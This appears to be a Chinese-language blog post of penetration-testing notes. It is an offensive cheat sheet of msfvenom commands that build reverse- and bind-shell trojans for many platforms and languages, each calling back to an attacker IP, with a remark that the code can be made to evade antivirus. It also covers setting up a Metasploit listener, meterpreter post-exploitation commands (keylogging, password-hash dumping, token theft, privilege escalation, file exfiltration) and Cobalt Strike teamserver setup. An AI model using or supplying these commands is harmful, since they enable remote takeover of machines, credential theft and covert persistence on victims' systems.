KALI系统

MSF

上线前

1.生成木马

msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=192.168.43.3 LPORT=3333 -f elf > shell.elf

msfvenom -p linux/x86/meterpreter/bind_tcp -f elf > Jarun.elf

反向连接 reverse	正向连接 bind
反向连接	(靶机运行木马	靶机一直访问攻击机=>是否有命令需要执行)
正向连接	(攻击机访问靶机-端口	靶机运行木马则会打开该端口 )
系统木马
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.3 LPORT=3333 -f elf > shell.elf

windows		-f exe 可以根据所需修改为 -f c /-f php 	代码可以做免杀 
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.3  LPORT=3333 -f exe > shell.exe

Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On> -f macho shell.macho

Android:
msfvenom-p android/meterpreter/reverse_tcp LHOST=[你的IP] LPORT[端口]  -o 保存路径/文件名.apk
名.apk

可做免杀
编程语言=>浏览器运行
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect on>-f raw shell.php
cat shell.php | pbcopy && echo '<?php ' tr -d '\n' >shell.php &&pbpaste >> shell.php

ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your	Port to Connect on > -f asp>shell.asp

JSP:
msfvenom-p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port	to Connect on>-f raw > shell.jsp

WAR:	=>tomcat组件 上传
msfvenom -p java/jsp_shel1_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect on> -f war>shell.war

Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect on>-f raw> shell.py

命令行木马
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect on>-f raw>shell.sh

Perl:
msfvenom -p cmd/unix/reverse_per1 LHOST=<Your IP Address> LPORT=<Your Port to Connect on>-f raw>shell.pl

2.生成监听器

设置的参数与上面生成的木马一致

netstat -ntlp

1 use exploit/multi/handler	//监听端口模块
2 set PAYLOAD windows/meterpreter/reverse_tcp	//木马类型
3 set LHOST 0.0.0.0
4 set LPORT 8001
5 run
background=>放在后台
sessions 后台进程

3.search命令 漏洞使用

search 漏洞名

CVE-2022-0847 脏管 提权

上线中

msf常用操作

background返回后台
exit关闭会话
he1p帮助信息
Sysinfo系统平台信息*
screenshot屏幕截取
she11	命令行she11(exit退出)*
getlwd查看本地目录
1cd切换本地目录
getwd查看日录
1s查看文件目录列表
cd切换日录
rm删除文件
down1oad C:\Users\123\Desktop\1.txt 1.txt下载文件*
upload /var/w/wce.exe wce.exe上传文件 (攻击者上传文件 被攻击者路径)*
search -d c:-f*.doc搜索文件*
execute -f cmd.exe -i执行程序/命令*
ps查看进程*
run post ./windows/capture/keylog._recorder键盘记录
getuid查看当前用户权限*
use priv加载特权模块*
getsystem 提升到SYSTEM权限*
hashdump导出密码散列
ps查看高权限用户PID
steal_token <PID>窃取令牌
rev2se1f 恢复原来的令牌

cobakt strike(cs)

服务端 centos7
上传相同文件	需要java环境	需要关闭防火墙 皆
1.开权限
sudo chmod 777 teamserver
2.启动./teamserver<IP><密码>
3.修改默认端口	teamserver文件
只需要修改最后一行的-Dcobaltstrike.server_port,
可以是80,443,3389,8080等常见端口,前提是该端口没有被使用

客户端  windows 10
点击开启
输入服务端的ip 以及密码

use exploit/multi/handler set payload windows/meterpreter/bind_tcp set rhost 192.168.3.32

set lport 8933 run

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注